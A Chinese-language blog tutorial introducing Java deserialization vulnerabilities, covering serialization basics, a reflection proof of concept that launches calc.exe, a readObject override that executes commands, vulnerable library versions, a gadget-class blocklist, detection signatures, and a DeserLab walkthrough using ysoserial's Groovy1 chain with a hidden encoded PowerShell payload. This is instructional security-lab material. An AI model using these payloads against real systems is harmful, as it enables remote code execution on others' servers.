java反序列化漏洞入门分析

简介: 参考文献:https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/amp/https://www.
参考文献:

https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/amp/
https://www.cnblogs.com/ssooking/p/5875215.html
https://xz.aliyun.com/t/2041
https://xz.aliyun.com/t/2028
https://xz.aliyun.com/t/2029?from=groupmessage
https://www.anquanke.com/post/id/86932

JAVA序列化和反序列化的一个例子

package ser;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
class serdemo implements Serializable{
   private String name;
   public String getName(){
       return name;
   }
   public void setName(String name){
      this.name = name;
   }
}
public class serdemo1 {
    public static void main(String args[]) throws IOException, ClassNotFoundException {
        #序列化
        FileOutputStream fileOutputStream = new FileOutputStream("seri.txt");
        ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
        serdemo serdemo=new serdemo();
        serdemo.setName("sheng");
        outputStream.writeObject(serdemo);
        #反序列化
        FileInputStream fileInputStream = new FileInputStream("seri.txt");
        ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
        serdemo object2 = (serdemo) inputStream.readObject();
        System.out.println("反序列化后的对象的值");
        System.out.println(object2.getName());
        inputStream.close();
    }
}

详解

  • Java中的API实现:

序列化: ObjectOutputStream类 --> writeObject()
该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中,按Java的标准约定是给文件一个.ser扩展名
反序列化:ObjectInputStream类 --> readObject()   
该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回

  • 实现SerializableExternalizable接口的类才能序列化与反序列化。Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式。

  • java的反射机制:

在运行状态中:
对于任意一个类,都能够判断一个对象所属的类;
对于任意一个类,都能够知道这个类的所有属性和方法;
对于任意一个对象,都能够调用它的任意一个方法和属性;
这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

Java反射的四大核心是 ClassConstructorFieldMethod
利用Java的反射机制来操纵代码调用本地的计算器

package ser1;
import java.lang.reflect.InvocationTargetException;
public class POC {
    public static void main(String args[]) throws  IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException {
        Object runtime=Class.forName("java.lang.Runtime")
                .getMethod("getRuntime",new Class[]{})
                .invoke(null);
        Class.forName("java.lang.Runtime")
                .getMethod("exec", String.class)
                .invoke(runtime,"calc.exe");
    }
}

漏洞分析:

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库,Apache Commons Collections有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer
一个简单的反序列化利用

package ser1;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.ServerSocket;
import java.net.Socket;
public class listen {
     public static void main(String args[]) throws Exception{
            UnsafeClass Unsafe = new UnsafeClass();
            Unsafe.name = "sheng";
            FileOutputStream fos = new FileOutputStream("object");
            ObjectOutputStream os = new ObjectOutputStream(fos);
            os.writeObject(Unsafe);
            os.close();
            FileInputStream fis = new FileInputStream("object");
            ObjectInputStream ois = new ObjectInputStream(fis);
            #恢复对象
            UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
            System.out.println(objectFromDisk.name);
            ois.close();
        }
    }
    class UnsafeClass implements Serializable{
        public String name;
        #重写readObject()方法
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
            in.defaultReadObject();#执行默认的readObject()方法
            Runtime.getRuntime().exec("calc.exe");  #执行命令
        }
    }

img_8bd17e4015da926ef0d322fcb3313c3c.png

基础库中存在的反序列化漏洞

  • 存在危险的基础库:
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
  • 某反序列化防护软件便是通过禁用以下类的反序列化来保护程序:
'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'xalan.internal.xsltc.trax.TemplatesImpl'

漏洞挖掘

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。

白盒检测

① 通过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点

  • 搜索以下函数:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

小数点前面是类名,后面是方法名

② 确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可)。
③ 若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。
④ 若包含危险库,则使用ysoserial进行攻击复现。

黑盒检测
  • 通过抓包来检测请求中可能存在的序列化数据。
  • 序列化数据通常以AC ED开始,之后的两个字节是版本号,版本号一般是00 05AC ED 00 05经过Base64编码之后为rO0AB
  • 十六进制对照表:
0x70 - TC_NULL
0x71 - TC_REFERENCE
0x72 - TC_CLASSDESC
0x73 - TC_OBJECT
0x74 - TC_STRING
0x75 - TC_ARRAY
0x76 - TC_CLASS
0x7B - TC_EXCEPTION
0x7C - TC_LONGSTRING
0x7D - TC_PROXYCLASSDESC
0x7E - TC_ENUM

可以通过tcpdump抓取TCP/HTTP请求,通过SerialBrute.py去自动化检测,并插入ysoserial生成的exp

环境测试

看了挺多文章,搭一个怪难的,就直接用大佬的DeserLab来尝试了

DeserLab是一个使用了Groovy库的简单网络协议应用,实现clientserver端发送序列化数据的功能。而Groovy库和上文中的Apache Commons Collection库一样,含有可利用的POP链
环境

 win10        python2.7        java1.8

分析过程

  • 开启本地服务端和客户端
java -jar DeserLab.jar -server 127.0.0.1 6767
java -jar DeserLab.jar -client 127.0.0.1 6767
  • 通过本地抓包工具rawcap抓包分析
    img_1ddcf9332750daab2a3132b6c3f23741.png
  • 提取序列化数据
    pcap包转换为可待分析的数据格式。
#将pcap转换为文本,文本中只包含传输的数据、TCP源端口号以及目的端口号
tshark -r 1234.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, 
#继续处理这些文本,根据端口以及每一行的开头部分来选择输出合适的载荷
| grep -v ',,' | grep '^6767,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g
img_2aef50875788603efc620831b1a5dd8e.png

img_6529da0f6ac6c2a062a9771ab1d8a7be.png

通过wireshark可以看到,客户端和服务器之间正在传输一个nb.deser.HashRequest对象。结合工具的输出结果我们可知用户名以字符串形式存储在TC_BLOCKDATA类型中进行传输:
漏洞利用:

  • 生成有效载荷,在windows环境下,用powershell作为攻击载体。
    img_61be519d71831893e327e4244b677cd1.png
  • ysoserial生成针对Groovy库payload
java -jar ysoserial.jar  Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAcwBoAGUAbgBnAA==" > 1.bin
python2 1.py 127.0.0.1 1234 1.bin
img_acabebb69caacb559cee728e01c74fe2.png
目录
相关文章
|
17天前
|
缓存 JavaScript Java
常见java OOM异常分析排查思路分析
Java虚拟机(JVM)遇到内存不足时会抛出OutOfMemoryError(OOM)异常。常见OOM情况包括:1) **Java堆空间不足**:大量对象未被及时回收或内存泄漏;2) **线程栈空间不足**:递归过深或大量线程创建;3) **方法区溢出**:类信息过多,如CGLib代理类生成过多;4) **本机内存不足**:JNI调用消耗大量内存;5) **GC造成的内存不足**:频繁GC但效果不佳。解决方法包括调整JVM参数(如-Xmx、-Xss)、优化代码及使用高效垃圾回收器。
88 15
常见java OOM异常分析排查思路分析
|
22天前
|
缓存 JavaScript Java
常见java OOM异常分析排查思路分析
Java虚拟机(JVM)遇到 OutOfMemoryError(OOM)表示内存资源不足。常见OOM情况包括:1) **Java堆空间不足**:内存被大量对象占用且未及时回收,或内存泄漏;解决方法包括调整JVM堆内存大小、优化代码及修复内存泄漏。2) **线程栈空间不足**:单线程栈帧过大或频繁创建线程;可通过优化代码或调整-Xss参数解决。3) **方法区溢出**:运行时生成大量类导致方法区满载;需调整元空间大小或优化类加载机制。4) **本机内存不足**:JNI调用或内存泄漏引起;需检查并优化本机代码。5) **GC造成的内存不足**:频繁GC但效果不佳;需优化JVM参数、代码及垃圾回收器
常见java OOM异常分析排查思路分析
|
5天前
|
Java
JAVA并发编程系列(9)CyclicBarrier循环屏障原理分析
本文介绍了拼多多面试中的模拟拼团问题,通过使用 `CyclicBarrier` 实现了多人拼团成功后提交订单并支付的功能。与之前的 `CountDownLatch` 方法不同,`CyclicBarrier` 能够确保所有线程到达屏障点后继续执行,并且屏障可重复使用。文章详细解析了 `CyclicBarrier` 的核心原理及使用方法,并通过代码示例展示了其工作流程。最后,文章还提供了 `CyclicBarrier` 的源码分析,帮助读者深入理解其实现机制。
|
4天前
|
Java 程序员 UED
Java中的异常处理:从入门到精通
【9月更文挑战第23天】在Java编程的世界中,异常是程序执行过程中不可避免的事件,它们可能会中断正常的流程并导致程序崩溃。本文将通过浅显易懂的方式,引导你理解Java异常处理的基本概念和高级技巧,帮助你编写更健壮、更可靠的代码。我们将一起探索如何捕获和处理异常,以及如何使用自定义异常来增强程序的逻辑和用户体验。无论你是初学者还是有一定经验的开发者,这篇文章都将为你提供有价值的见解和实用的技巧。
21 4
|
7天前
|
存储 Java 开发者
Java编程中的对象序列化与反序列化
【9月更文挑战第20天】在本文中,我们将探索Java编程中的一个核心概念——对象序列化与反序列化。通过简单易懂的语言和直观的代码示例,你将学会如何将对象状态保存为字节流,以及如何从字节流恢复对象状态。这不仅有助于理解Java中的I/O机制,还能提升你的数据持久化能力。准备好让你的Java技能更上一层楼了吗?让我们开始吧!
|
15天前
|
存储 Java
Java编程中的对象序列化与反序列化
【9月更文挑战第12天】在Java的世界里,对象序列化与反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何通过实现Serializable接口来标记一个类的对象可以被序列化,并探索ObjectOutputStream和ObjectInputStream类的使用,以实现对象的写入和读取。我们还将讨论序列化过程中可能遇到的问题及其解决方案,确保你能够高效、安全地处理对象序列化。
|
16天前
|
Java 程序员
Java中的异常处理:从入门到精通
在Java编程的世界中,异常处理是保持程序稳定性和可靠性的关键。本文将通过一个独特的视角—把异常处理比作一场“捉迷藏”游戏—来探讨如何在Java中有效管理异常。我们将一起学习如何识别、捕捉以及处理可能出现的异常,确保你的程序即使在面对不可预见的错误时也能优雅地运行。准备好了吗?让我们开始这场寻找并解决Java异常的冒险吧!
|
25天前
|
存储 Java
Java编程中的对象序列化与反序列化
【9月更文挑战第2天】在Java的世界里,对象序列化和反序列化就像是给数据穿上了一件隐形的斗篷。它们让数据能够轻松地穿梭于不同的系统之间,无论是跨越网络还是存储在磁盘上。本文将揭开这层神秘的面纱,带你领略序列化和反序列化的魔法,并展示如何通过代码示例来施展这一魔法。
17 0
|
25天前
|
安全 Java API
Java线程池原理与锁机制分析
综上所述,Java线程池和锁机制是并发编程中极其重要的两个部分。线程池主要用于管理线程的生命周期和执行并发任务,而锁机制则用于保障线程安全和防止数据的并发错误。它们深入地结合在一起,成为Java高效并发编程实践中的关键要素。
11 0
|
3天前
|
存储 缓存 Java
java线程内存模型底层实现原理
java线程内存模型底层实现原理
java线程内存模型底层实现原理